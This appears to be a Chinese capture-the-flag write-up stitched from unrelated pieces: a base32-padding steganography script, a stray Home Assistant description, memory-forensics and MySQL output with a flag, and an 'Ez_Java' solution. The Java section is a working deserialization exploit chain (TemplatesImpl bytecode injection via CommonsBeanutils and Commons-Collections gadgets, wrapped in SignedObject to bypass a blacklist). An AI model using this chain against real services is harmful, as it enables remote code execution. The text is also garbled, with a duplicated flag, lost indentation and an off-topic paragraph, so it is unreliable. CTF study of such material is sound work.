import base64
table='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
file = open("base.txt")
flag=''
tmpbin=''
for line in file.readlines():
line=line.strip('\n')
if(line[-1]=='='):
if(line[-3]=='='):
if(line[-4]=='='):
if (line[-6] == '='):
i=table.index(line[-7])
b = bin(i)[2:]
b = b.zfill(5)
tmpbin+=b[-2:]
print(line)
print(b)
else:
i = table.index(line[-5])
b = bin(i)[2:]
b = b.zfill(5)
tmpbin += b[-4:]
print(line)
print(b)
else:
i = table.index(line[-4])
b = bin(i)[2:]
b = b.zfill(5)
tmpbin += b[-1:]
print(line)
print(b)
else:
i = table.index(line[-2])
b = bin(i)[2:]
b = b.zfill(5)
tmpbin += b[-3:]
print(line)
print(b)
length= len(tmpbin)/8
for i in range(int(length)):
flag+=chr(int(tmpbin[i*8:i*8+8],2))
print(tmpbin)
print(flag)
Home Assistant 是一款用于家庭自动化的免费开源软件,旨在成为智能家居设备的中央控制系统,专注于本地控制和隐私。可以使用 Android 和 iOS 配套应用程序通过基于 Web 的用户界面访问它,或者通过支持的虚拟助手(如 Google Assistant、Amazon Alexa 甚至斯坦福大学的“Genie”(以前称为“Almond”))通过语音命令访问它开放虚拟助理实验室 (OVAL.) ----翻译自维基百科
Process: 1600 explorer.exe
Cache type "URL " at 0x1fb5800
Record length: 0x100
Location: Visited: Administrator@http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
Last modified: 2022-06-20 12:36:39 UTC+0000
Last accessed: 2022-06-20 12:36:39 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xc4
**************************************************
Process: 1600 explorer.exe
Cache type "DEST" at 0x2ab9a55
Last modified: 2022-06-20 21:00:08 UTC+0000
Last accessed: 2022-06-20 13:00:10 UTC+0000
URL: Administrator@file:///C:/Documents%20and%20Settings/Administrator/Lhb/secret.jpg
challenge
info
info
name
name
challenge
info
+---------+----------------------------------+
| name | data |
+---------+----------------------------------+
| success | 1555a651a13ec074ce725383214fd7cc |
+---------+----------------------------------+
1 row in set (0.00 sec)
/etc/localtime
mysql>
+---------+----------------------------------+
| name | data
/proc/loadavg
flag: PCL{1555a651a13ec074ce725383214fd7cc}7cc}
Web
Ez_Java
解压后,通过IDEA进行反编译。
先通过signedobject二次反序列化绕黑名单
再用/data接口打cb链
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(calc.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
ConstantFactory constantFactory = new ConstantFactory(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map outerMap = DefaultedMap.decorate(hashMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
HashMap evalMap = new HashMap();
evalMap.put(tiedMapEntry, "test");
outerMap.remove("key");
Field declaredFields = ChainedTransformer.class.getDeclaredField("iTransformers");
declaredFields.setAccessible(true);
declaredFields.set(transformerChain, transformers);
PrivateKey privateKey = new PrivateKey() {
@Override
public String getAlgorithm() {
return null;
}
@Override
public String getFormat() {
return null;
}
@Override
public byte[] getEncoded() {
return new byte[0];
}
};
Signature signature = new Signature("AES") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override
protected void engineUpdate(byte b) throws SignatureException {
}
@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}
@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}
@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
};
SignedObject signedObject = new SignedObject(evalMap, privateKey, signature);
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "object");
setFieldValue(queue, "queue", new Object[]{signedObject, signedObject});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();